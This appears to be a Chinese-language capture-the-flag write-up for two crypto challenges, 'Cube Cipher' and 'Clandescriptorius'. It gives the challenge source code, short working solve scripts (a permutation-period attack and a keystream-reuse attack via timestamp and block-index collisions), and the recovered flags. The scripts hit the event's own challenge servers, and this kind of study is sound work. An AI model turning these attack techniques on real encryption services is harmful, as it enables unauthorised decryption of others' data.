execute_algorithm(cube, scramble_algorithm);

printf("Welcome to the Interactive Cube Cipher App!\n"
"Try and break my cipher! (you can't)\n"
"Options:\n"
"\t1: Execute an algorithm\n"
"\t2: Display cube\n"
"\t3: Display cube as bytes\n"
"\t4: Re-apply cube cipher\n"
"\t5: Exit\n"
);

option = 0;
while (option != 5) {
get_option:
printf("Option: ");
if (scanf("%d", &option) != 1) {
while (getchar() != '\n');
printf("Please enter an integer.\n");
goto get_option;
}
switch (option) {
case 1:
printf("Enter your algorithm:\n> ");
scanf("%255s", algorithm_str);
execute_algorithm(cube, algorithm_str);
break;
case 2:
print_cube(*cube);
break;
case 3:
extract_bytes_from_cube(*cube, output);
for (i = 0; i < FACE_CT / 2; i++) {
printf("%02x", output[i]);
}
printf("\n");
break;
case 4:
printf("Scrambling...\n");
execute_algorithm(cube, scramble_algorithm);
break;
case 5:
printf("Goodbye!\n");
break;
default:
printf("Invalid option.\n");
}
}

free(output);
free(cube);
free(scramble_algorithm);
return 0;
}
1
2
3
4
5
6
7
8
9
10
# Cube Cipher

The Cube Cipher is my own invention: A modern unbreakable cipher.

The Cube Cipher is a 27-character block cipher that works as follows:

1. The plaintext is padded to a 27-byte boundary with null bytes.

2. Each byte is brocken up into nibbles and each nibble is arranged on a Rubik's Cube in this order:

            18 19 20
            21 22 23
            24 25 26

  27 28 29  00 01 02  09 10 11
  30 31 32  03 04 05  12 13 14
  33 34 35  06 07 08  15 16 17

            36 37 38
            39 40 41
            42 43 44

            45 46 47
            48 49 50
            51 52 53
1
2
3
4

3. The cube is folded, shuffled according to a pre-selected "algorithm", and unwraveled into a new stream.

Someone who knows the algorithm can then reverse this by applying it in reverse.

这道题代码太长了懒得看,直接扔GPT一把梭了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from pwn import *
import binascii

HOST = "cube-cipher.challs.pwnoh.io"
PORT = 1337
context.log_level = "debug" # debug 太吵了

def send_opt_after_prompt(r, n):
r.sendlineafter(b"Option: ", str(n).encode())

def dump_hex(r):
send_opt_after_prompt(r, 3)
# 服务端会输出一行 hex + '\n'
hexline = r.recvline().strip().decode()
return hexline

def reapply(r):
send_opt_after_prompt(r, 4)
r.recvuntil(b"Scrambling...\n")
# 这里不要把随后的 'Option: ' 提示读掉,让下一步去等

def main():
r = remote(HOST, PORT, ssl=True)
# 把欢迎文本读到菜单出现即可
r.recvuntil(b"Options:\n")

# 第一次的十六进制(P(flag))
first_hex = dump_hex(r)

# 找置换周期 t:最小正整数 k 使再次回到 first_hex
k = 0
while True:
k += 1
if k % 100 == 0:
log.info(f"searching period… tried {k}")
reapply(r)
cur_hex = dump_hex(r)
if cur_hex == first_hex:
t = k
log.success(f"period found: t = {t}")
break

# 再应用 (t-1) 次回到 flag
for _ in range(t - 1):
reapply(r)
flag_hex = dump_hex(r)

data = binascii.unhexlify(flag_hex).rstrip(b"\x00")
try:
print(data.decode("utf-8", errors="replace"))
except:
print(data)

if __name__ == "__main__":
main()

# bctf{the_cUb3_pl4yS_Y0U}

Clandescriptorius

image-20251109230619749

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from fastapi import FastAPI, HTTPException
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
from dataclasses import dataclass
import os
import hashlib

flag = os.environ.get("FLAG") or "bctf{fake_flag_fake_flag_fake_flag_fake_flag}"


def xor(aa: bytes, bb: bytes):
return bytes(a ^ b for a, b in zip(aa, bb))


def pad(data: bytes):
padding_length = 16 - (len(data) % 16)
return data + bytes([padding_length] * padding_length)


def encrypt_block(block: bytes, key: bytes, timestamp: int, block_index: int):
keystream = hashlib.sha256(
f"{key.hex()}{timestamp}{block_index}".encode()
).digest()[0:16]
return xor(keystream, block)


def encrypt(data: bytes, key: bytes, timestamp: int):
padded = pad(data)
blocks = [padded[i : i + 16] for i in range(0, len(padded), 16)]
return b"".join(
encrypt_block(block, key, timestamp, i) for i, block in enumerate(blocks)
)


@dataclass
class Session:
last_timestamp: int
key: bytes


sessions: dict[str, Session] = {}


app = FastAPI()


class StartSessionRequest(BaseModel):
timestamp: int


@app.post("/startsession")
def route_startsession(request: StartSessionRequest):
session_id = os.urandom(16).hex()
key = os.urandom(32)
timestamp = request.timestamp
encrypted_flag = encrypt(flag.encode(), key, timestamp)
sessions[session_id] = Session(last_timestamp=timestamp, key=key)
return {
"session_id": session_id,
"encrypted_flag": encrypted_flag.hex(),
}


class EncryptRequest(BaseModel):
session_id: str
timestamp: int
data: str


@app.post("/encrypt")
def route_encrypt(request: EncryptRequest):
try:
session = sessions[request.session_id]
except KeyError:
raise HTTPException(status_code=400, detail="Invalid session id")
try:
data = bytes.fromhex(request.data)
except ValueError:
raise HTTPException(status_code=400, detail="Invalid hex in data")
if request.timestamp <= session.last_timestamp:
raise HTTPException(status_code=400, detail="Non-increasing timestamp")
session.last_timestamp = request.timestamp
return {"encrypted": encrypt(data, session.key, request.timestamp).hex()}


app.mount("/", StaticFiles(directory="static", html=True), name="static")

懒得写WP了,先把代码仍这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests, binascii

BASE = "https://clandescriptorius.challs.pwnoh.io"

def hex2bytes(h): return binascii.unhexlify(h)
def bytes2hex(b): return binascii.hexlify(b).decode()

r = requests.post(f"{BASE}/startsession", json={"timestamp": -12})
r.raise_for_status()
j = r.json()
sid = j["session_id"]
ct_flag = hex2bytes(j["encrypted_flag"])

blocks = [ct_flag[i:i+16] for i in range(0, len(ct_flag), 16)]
n = len(blocks)

js = [int("2"+str(i)) for i in range(n)]
max_j = max(js)
total_blocks = max_j + 1
pt = b"\x00" * (16 * total_blocks)

r2 = requests.post(f"{BASE}/encrypt", json={
"session_id": sid,
"timestamp": -1,
"data": bytes2hex(pt)
})
r2.raise_for_status()
ct = hex2bytes(r2.json()["encrypted"])

ks_blocks = [ct[16*j:16*(j+1)] for j in js]
pt_blocks = [bytes(a ^ b for a,b in zip(blocks[i], ks_blocks[i])) for i in range(n)]
pt_all = b"".join(pt_blocks)

pad = pt_all[-1]
flag = pt_all[:-pad]
print("Decrypted:", flag.decode(errors="replace"))

# Decrypted: bctf{the_future_is_now_e3faa77c672e6d62}